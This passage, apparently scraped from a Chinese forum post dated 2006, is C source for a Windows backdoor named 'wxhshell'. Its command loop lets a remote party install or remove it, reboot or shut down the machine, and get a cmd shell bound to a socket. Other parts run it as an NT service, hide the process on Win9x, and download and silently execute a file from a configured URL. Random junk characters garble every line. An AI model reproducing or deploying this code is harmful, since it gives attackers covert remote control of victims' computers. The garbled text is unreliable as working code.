      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tPyyZ#,  
    break; .LRxP#B  
  } 3PUAH  
  // 安装 E%TpJl'U  
  case 'i': { 9>#:/g/  
    if(Install()) rf9_eP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pA#}-S%  
    else (|fm6$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z ggB$5  
    break; ZRUhAp'<qj  
    } ?Jusl8Sm  
  // 卸载 wVA|!>v  
  case 'r': { XfzVcap  
    if(Uninstall()) PaCzr5!~f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q 'a  
    else "?GebA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZDYJhJ.  
    break; Zz |MIGHm  
    } Bl1Z4` 3  
  // 显示 wxhshell 所在路径 &?p:3%;Dr  
  case 'p': { 6Bm9?eU0  
    char svExeFile[MAX_PATH]; 6`"M  
    strcpy(svExeFile,"\n\r"); ,Ci/xnI  
      strcat(svExeFile,ExeFile); A?"h@-~2  
        send(wsh,svExeFile,strlen(svExeFile),0); kao}(?x%  
    break; w[Ep*-yeI  
    } npu6E;'l*  
  // 重启 V5GkP1L  
  case 'b': { z&$/EP-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &yz&LNn'  
    if(Boot(REBOOT)) Er:?M_ev  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =S]a&*M  
    else { Px'!;  
    closesocket(wsh); A~{f/%8D  
    ExitThread(0); AzpV4(:an.  
    } $ 'QdFkOr  
    break; ]&i+!$N_  
    } 7TX,T|>9  
  // 关机 VLg EX4  
  case 'd': { *Wb=WM-.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oeL5}U6>g  
    if(Boot(SHUTDOWN)) w3D]~&]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;ggy5?>Qu  
    else { x@cN3O  
    closesocket(wsh); K,}w]b  
    ExitThread(0); ~%|G+m>  
    } xQlT%X;'  
    break; H.J5i~s  
    } ?&h3P8  
  // 获取shell =ziy`#fm,  
  case 's': { ~HUZ#rUHm>  
    CmdShell(wsh); 9 K  
    closesocket(wsh); )3muPMaY  
    ExitThread(0); $ A-b vL  
    break; F}rPY:  
  } 4W\,y_Q o  
  // 退出 ]Bb7(JX  
  case 'x': { mKg@W;0ML  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q:HoKJv4  
    CloseIt(wsh); Ew^ @Aq  
    break; dNV v4{S  
    } dTD5(}+J  
  // 离开 qq+MBW*  
  case 'q': { i&@,5/'-_O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^ZQCIS-R  
    closesocket(wsh); LE c8NQs  
    WSACleanup(); DQ=N1pft2v  
    exit(1); A@$fb}CF  
    break; iIU( C.I  
        } ?:|YGLaB  
  } ,\h YEup  
  } _Nu` )m  
I Ru$oF}  
  // 提示信息 }NX\~S"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); liNON  
} a|N0(C  
  } J35l7HH  
v`G U09   
  return; #cEq_[yI  
} sdF3cX  
2Yyb#Ow  
// shell模块句柄 WhUa^  
int CmdShell(SOCKET sock)  "jU  
{ bBE^^9G=Z  
STARTUPINFO si; }g,X5v?W  
ZeroMemory(&si,sizeof(si)); z=?0)e(H,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iAz UaF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y=o=1(  
PROCESS_INFORMATION ProcessInfo; JY4_v>Aob  
char cmdline[]="cmd"; *=^[VV!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oa9)Dv  
  return 0; f Lk"tW  
} ~{ .,8jE  
p\ txlT  
// 自身启动模式 AZ8UXq  
int StartFromService(void) wd`R4CKhP]  
{ %^^h) Wy}  
typedef struct rr>~WjZ3  
{ S.fXHtSx  
  DWORD ExitStatus; ti;%BS  
  DWORD PebBaseAddress; _XN~@5elrC  
  DWORD AffinityMask; F|]rA*2u  
  DWORD BasePriority; 9c5!\m1  
  ULONG UniqueProcessId; oBUh]sR{.  
  ULONG InheritedFromUniqueProcessId; &8Wlps`  
}   PROCESS_BASIC_INFORMATION; ]b\WaS8I  
@c"yAy^t  
PROCNTQSIP NtQueryInformationProcess; h2}am:%mC  
*Yp qq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~ iT{8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .xv ^G?GG  
Y<ElJ>A2I  
  HANDLE             hProcess; $PfV<Yj'B  
  PROCESS_BASIC_INFORMATION pbi; ;^.9#B,<  
vadM1c*z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &kq7gCd  
  if(NULL == hInst ) return 0; j[T%'%  
er\:U0fr#@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =w,(M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qi[(*bFK7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'Fzuc^G(d  
5k`e^ARf  
  if (!NtQueryInformationProcess) return 0; s#Q _Gu  
LsotgQ8   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >\-3P $  
  if(!hProcess) return 0; Hrv),Ce  
d:$G|<uA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zuj;T,R;  
I! ITM<Z$l  
  CloseHandle(hProcess); &.*T\3UO  
<\xQ7|e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /kb$p8!C".  
if(hProcess==NULL) return 0; \1khyF'  
]*h&hsS 0  
HMODULE hMod; |x[$3R1@  
char procName[255]; r2)pAiTM*  
unsigned long cbNeeded; HU.1":.;  
<lX:eR1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L3' \r  
<wqRk<  
  CloseHandle(hProcess); 9e76 pP(  
$@4e(Zrmo  
if(strstr(procName,"services")) return 1; // 以服务启动 l2M/ ,@G  
!Ba3` B5l  
  return 0; // 注册表启动 ].c@Gm_(  
} ~)!VV)  
o9^$hDs,si  
// 主模块 4jD\]Q="1  
int StartWxhshell(LPSTR lpCmdLine) %1@.7 uTN  
{ 0<"tl0p_  
  SOCKET wsl; :=B[y D!  
BOOL val=TRUE; nR#a)et  
  int port=0; =1&}t%<X  
  struct sockaddr_in door; OUKj@~T  
{9,R@>R  
  if(wscfg.ws_autoins) Install(); 8s&2gn1  
$/y%[ .  
port=atoi(lpCmdLine); (T`q++  
2tlO"c:_/  
if(port<=0) port=wscfg.ws_port; d<)s@Ntgm  
TyyRj4>  
  WSADATA data; %!W 6<ioW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6;[1Jz]?i  
rGAFp,}-f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]s}aC9I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y>&VtN{E  
  door.sin_family = AF_INET; )<tzm'Rc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8:BQHYeJK  
  door.sin_port = htons(port); oO}>i0ax*  
X$ejy/+.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s:G [Em1  
closesocket(wsl); U &f#V=Rg  
return 1; CJtr0M<U+  
} \_)02ZT:  
]r]+yM|  
  if(listen(wsl,2) == INVALID_SOCKET) { -y9Pn>~V  
closesocket(wsl); kkG_ +Y  
return 1; {m>~`   
} sL;z"N@PK  
  Wxhshell(wsl); SIJ# ?0,  
  WSACleanup(); V&$  J;  
hu`L v  
return 0; CD$u=E ]  
gA|!$ EAM  
} DPR;$yV  
-+`az)lrp  
// 以NT服务方式启动 ,$ho2R),Fn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &P{o{  
{ ]Sk#a-^~  
DWORD   status = 0; o x03c   
  DWORD   specificError = 0xfffffff; hG< a  
Q;d+]xj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m7weR>aS4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1 yxZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wCTcGsw W  
  serviceStatus.dwWin32ExitCode     = 0; s,{RP0|  
  serviceStatus.dwServiceSpecificExitCode = 0; 0m)-7@  
  serviceStatus.dwCheckPoint       = 0; zWP.1 aA&  
  serviceStatus.dwWaitHint       = 0; u)N2  
00$ @0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cWX"e6  
  if (hServiceStatusHandle==0) return; "P>$=X~Zi  
`lH1IA/3  
status = GetLastError(); YMd&To0s  
  if (status!=NO_ERROR) Ncs4<"{$  
{ 3Qm t]q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z_)OWWdN  
    serviceStatus.dwCheckPoint       = 0; O?+tY y?  
    serviceStatus.dwWaitHint       = 0; )Gu0i7iN  
    serviceStatus.dwWin32ExitCode     = status; ^59YfC<f  
    serviceStatus.dwServiceSpecificExitCode = specificError; `[g# Mxw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,E n(gm  
    return; J7 Oa})-+'  
  } _>Pe]3  
`2Z4#$.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T<9dW?'|  
  serviceStatus.dwCheckPoint       = 0; DkF@XK0c3  
  serviceStatus.dwWaitHint       = 0; QI :/,w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YFC0KU  
} 6qmo ZAg  
hSLwiX~  
// 处理NT服务事件,比如:启动、停止 CrQA :_Z(7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tq4"Q BIKh  
{ )edU <1P  
switch(fdwControl) 0& SrKn  
{ JaB tX'  
case SERVICE_CONTROL_STOP: *cI6 &;y  
  serviceStatus.dwWin32ExitCode = 0;  8E.5k@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o0-fUCmC  
  serviceStatus.dwCheckPoint   = 0; nEZ-h7lzl(  
  serviceStatus.dwWaitHint     = 0; %i]uW\~U  
  {  5K_N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~8n~4  
  } C7c|\T  
  return; >uqS  
case SERVICE_CONTROL_PAUSE: CoKj'jA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `*2*xDuP  
  break; >8Yrmq  
case SERVICE_CONTROL_CONTINUE: ^|:{,d#Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #u]_7/(</`  
  break; X=!n,=xI  
case SERVICE_CONTROL_INTERROGATE: HnKF#<  
  break; ]J"+VZ_"I  
}; :b3l J-dB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l52n/w#qFB  
} dBD4ogo1  
.AmM%I4K  
// 标准应用程序主函数 b\e)PUm#u@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OrKT~JQVC&  
{ >-./kI "  
a?Qcf;o  
// 获取操作系统版本 :R_#'i  
OsIsNt=GetOsVer(); FO3eg"{N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z6>ZV6(d2^  
K:mL%o2J  
  // 从命令行安装 Xy(SzJ %  
  if(strpbrk(lpCmdLine,"iI")) Install(); }s)&/~6  
j/`qd(=B  
  // 下载执行文件 xYkgNXGs5  
if(wscfg.ws_downexe) { Y_ ;i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KA*l6`(  
  WinExec(wscfg.ws_filenam,SW_HIDE); i!+3uHWu`)  
} =g>7|?6>=  
: 1f5;]%N  
if(!OsIsNt) { *U^\Mwp  
// 如果时win9x,隐藏进程并且设置为注册表启动 -L'`d  
HideProc(); #o |&MV_j  
StartWxhshell(lpCmdLine); uP'w.nA&2  
} ~[/c'3+4qn  
else y2hFUq  
  if(StartFromService()) hm} :Me$[)  
  // 以服务方式启动 v>cE59('0  
  StartServiceCtrlDispatcher(DispatchTable); k2,oyUT=S  
else QRG)~  
  // 普通方式启动 GWE0 UO}  
  StartWxhshell(lpCmdLine); R (Pa Q  
^HN  
return 0; [ BC%$Sj  
}
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只看该作者 1 发表于: 2006-10-10
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